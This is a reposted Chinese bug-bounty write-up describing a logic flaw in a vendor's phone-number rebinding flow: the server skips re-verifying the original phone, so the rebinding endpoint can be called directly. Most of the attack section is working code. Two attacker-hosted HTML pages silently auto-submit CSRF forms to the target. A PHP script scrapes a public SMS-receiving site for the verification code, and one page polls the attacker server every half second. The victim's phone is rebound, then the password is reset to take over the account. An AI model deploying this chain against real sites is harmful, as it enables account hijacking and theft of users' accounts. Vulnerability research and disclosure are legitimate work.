|
授权转载,文章来源:“P喵呜-PHPoop” 语雀
0x01 漏洞描述
并且手机绑定流程可被绕过
用户可被钓鱼修改手机号码,从而导致用户密码给重置
0x02 漏洞讲解
正常的绑定流程:
-
用户点击修改手机号码
-
自动向原手机号码发送短信
-
用户输入原手机接收到的短信验证码
-
确定正确以后,后端设置一个用于绑定新手机的session
-
然后跳转/打开绑定手机的窗口
-
用户输入新手机号码
-
获取新手机号码验证码
-
用户提交验证码
-
后端先判断是否通过了原手机验证,然后在验证现手机号码是否正确
-
如果通过则修改当前用户手机号码
该厂商绑定流程:
-
用户点击修改手机号码
-
自动向手机号码发送短信
-
用户输入原手机接收到的短信验证码
-
确定正确以后直接跳转绑定手机的窗口
-
用户输入新手机号码
-
获取新手机号码验证码
-
用户提交验证码
-
后端判断现手机号码是否正确
-
如果通过则修改当前用户手机号码
通过我这个简单的梳理可以看到,厂商没有在绑定新手机号时在次验证一次原手机号码是否通过,导致我们可以直接调用绑定手机号码的接口,而忽略验证接口,最终导致用户给修改了手机号码。
0x03 漏洞简单演示
注: 文章中的项目地址统一修改为: a.test.com,保护厂商也保护自己
整个绑定过程中有3个接口分别是:
1. 发送短信的接口
-
https://a.test.com/user/info/send_code
2. 验证原手机号码是否正确的接口
-
https://a.test.com/user/info/check_bind_phone
3. 绑定新手机号码的接口
-
https://a.test.com/user/info/modify_bind_phone
值得一提的是这个站点所有的验证码都是https://a.test.com/user/info/send_code这个接口,所以其实存在大量的短信验证码覆盖问题
例如说:绑定手机获取的验证码可以用在手机找回处,好了多的不说了。
我们可以直接写一个脚本
攻击方:
准备一台外网服务器:127.0.0.1
创建页面一:send_code.html
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>点我发送验证码~</title>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
<script src="http://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js"></script>
</head>
<body>
<form action="https://a.test.com/user/info/send_code" method="post">
<input type="hidden" value="17157727034" name="mobile">
<input type="submit" name="小帅哥快来玩啊" id="send_code" style="display:none;">
</form>
</body>
</html>
<script>
if ($.cookie('csrf_test') != 'ok') {
$.cookie('csrf_test', 'ok');
$("#send_code").click(function () {
window.open("http://127.0.0.1/modify_bind_phone.html");
});
$("#send_code").click();
} else {
$.cookie('csrf_test', null);
window.opener = null;
// JS重写当前页面
window.open("", "_self", "");
// 顺理成章的关闭当前被重写的窗口
window.close();
}
</script>
创建页面二:modify_bind_phone.html
<html>
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta http-equiv="X-UA-Compatible" content="ie=edge" />
<title>我~修改你绑定手机号码</title>
<script src="http://libs.baidu.com/jquery/2.0.0/jquery.min.js"></script>
</head>
<body>
<form action="https://a.test.com/user/info/modify_bind_phone" method="post">
<input type="hidden" value="17157727034" name="mobile" />
<input type="hidden" value="" name="code" id="code" />
<input type="submit" name="点我瞬间爆炸" style="display:none;" id="modify_bind_phone" />
</form>
<script>
i = 1
setInterval(function(){
$.ajax({
type: "GET",
url: "http://127.0.0.1/file_get.php",
dataType: "json",
data: {},
success: function(data){
if (data != false) {
$('#code').val(data)
code = $('#code').val()
if (code !== '') {
$("#modify_bind_phone").click()
}
}
},
error: function(){
alert("我。。。可能不行了")
}
})
console.log('第'+i+'次执行')
i++
},500)
</script>
</body>
</html>
创建php脚本获取验证码:file_get.php
function curlRequest($url) {
$curl = curl_init();
//设置抓取的url
curl_setopt($curl, CURLOPT_URL, $url);
//设置头文件的信息作为数据流输出
curl_setopt($curl, CURLOPT_HEADER, 0);
//设置获取的信息以文件流的形式返回,而不是直接输出。
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
//重要!
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //模拟浏览器代理
//执行命令
$data = curl_exec($curl);
//关闭URL请求
curl_close($curl);
return $data;
}
/**
* 模糊搜索数组
* $data 数组
* $key 匹配字符串
*
*/
function arrlikes($data, $key) {
$arr = array();
foreach ($data as $k => $v) {
if (strstr($v, $key) !== false) {
array_push($arr, $v);
}
}
return $arr;
}
$content = curlRequest('https://www.pdflibr.com/SMSContent/48');
preg_match_all('/<td>(.*?)</td>/', $content, $match);
foreach ($match[0] as $key => $value) {
if (($key + 1) % 3 == 0) {
$arr[] = $value;
}
}
$data = arrlikes($arr, '【我是厂商】您的验证码是:');
$data = $data[0];
$data = str_replace('<td> 【我是厂商】您的验证码是:', '', $data);
$data = str_replace('。有效期10分钟,请勿泄露给他人!</td>', '', $data);
if ($data === '') {
echo 'false';
} else {
echo trim($data);
}
设置好这3个以后发送链接给受害者:http://127.0.0.1/send_code.html,受害者打开,代码执行
需要注意的是:这里我使用了免费的在线接码平台:https://www.pdflibr.com,帮我接码其中绑定的手机是:17157727034
然后攻击者通过找回密码的功能即可重置用户密码
最终使用账号:17157727034 加上刚刚重置的密码即可登录
0x04 脚本思路讲解
-
自动打开一个新界面:
-
模拟点击事件调用厂商平台获取绑定手机验证码的接口
http://127.0.0.1/csrf/modify_bind_phone.html
接着被打开的界面:modify_bind_phone.html,也会干两件事
-
死循环每0.5S请求接口,查看是否获取到了验证码
http://127.0.0.1/csrf/file_get.php
-
当获取到验证码时模拟点击事件发送绑定新手机号码的请求
最终用户即可点击我们的一个链接就给强制绑定一个新手机号码,然后我们就可以通过找回密码,重置用户登录密码
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):漏洞挖掘之众测厂商绑定手机处逻辑漏洞-可导致用户密码给修改
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论